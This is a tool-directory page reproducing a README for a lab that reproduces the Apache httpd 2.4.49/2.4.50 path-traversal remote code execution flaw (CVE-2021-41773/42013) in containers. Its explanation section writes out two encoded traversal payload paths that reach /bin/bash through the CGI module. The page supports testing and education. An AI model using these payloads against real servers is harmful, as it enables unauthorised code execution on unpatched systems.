Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2021-41773 | Kitploit
Tools/GitHubGitHub/mightysai1997/cve-2021-41773
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRemote Access Tool
GitHubmightysai1997/cve-2021-41773

cve-2021-41773

View Repository
3 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Apache httpd RCE

A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside these directories are not protected by default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased paths, this could allow for remote code execution. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions. The fix in Apache HTTP Server 2.4.50 was incomplete, see CVE-2021-42013.​

  • CVE Details
  • Source

Affected Version(s)

  • 2.4.49
  • 2.4.50

Fixed in Version(s)

  • 2.4.51

Prerequisities

  • podman (or alias podman as docker)
  • python3 and pip3
  • colorama (python library install with pip3 install colorama)

Files

  • httpd.conf the Default Apache configuration (with CGI module enabled)
  • hello.pl an example hello-world perl CGI script running in the container(s)
  • main.py an example exploit python script

Reproduction

Start a vulnerable Apache httpd (with default configuration) as docker/podman container.

DockerfileContainerVersion
Dockerfile2449vulnapache24492.4.49
Dockerfile2450vulnapache24502.4.50
  1. Build both container images 1.1 chmod +x ./build.sh 1.2 ./build.sh
  2. Start vulnerable Apache httpd Containers 2.1 chmod +x ./run.sh 2.2 ./run.sh
  3. verify webserver is running 3.1 curl localhost:2449/cgi-bin/hello.pl 3.2 curl localhost:2450/cgi-bin/hello.pl
ContainerListen Port
vulnapache24492449
vulnapache24502450
  1. run the exploit script 1.1 python3 main.py localhost:4249 1.2 select attack on version 2.4.49 1.3 python3 main.py localhost:2450 1.4 select attack on version 2.4.50

Exploitation Example

Explanation

The Exploit will utilize Apache httpds CGI module to allow execution of arbitrary executables through path traversal.

  • /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash
  • /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash

.%2e/ is url-encoded and equals to ../ if decoded. .%%32%658 is double url-encoded and equals also to ../ if decoded.

Credits

  • Exploit Author: Valentin Lobstein
  • Software Link: https://github.com/Balgogan/CVE-2021-41773
  • Lucas Schnell
Download Tool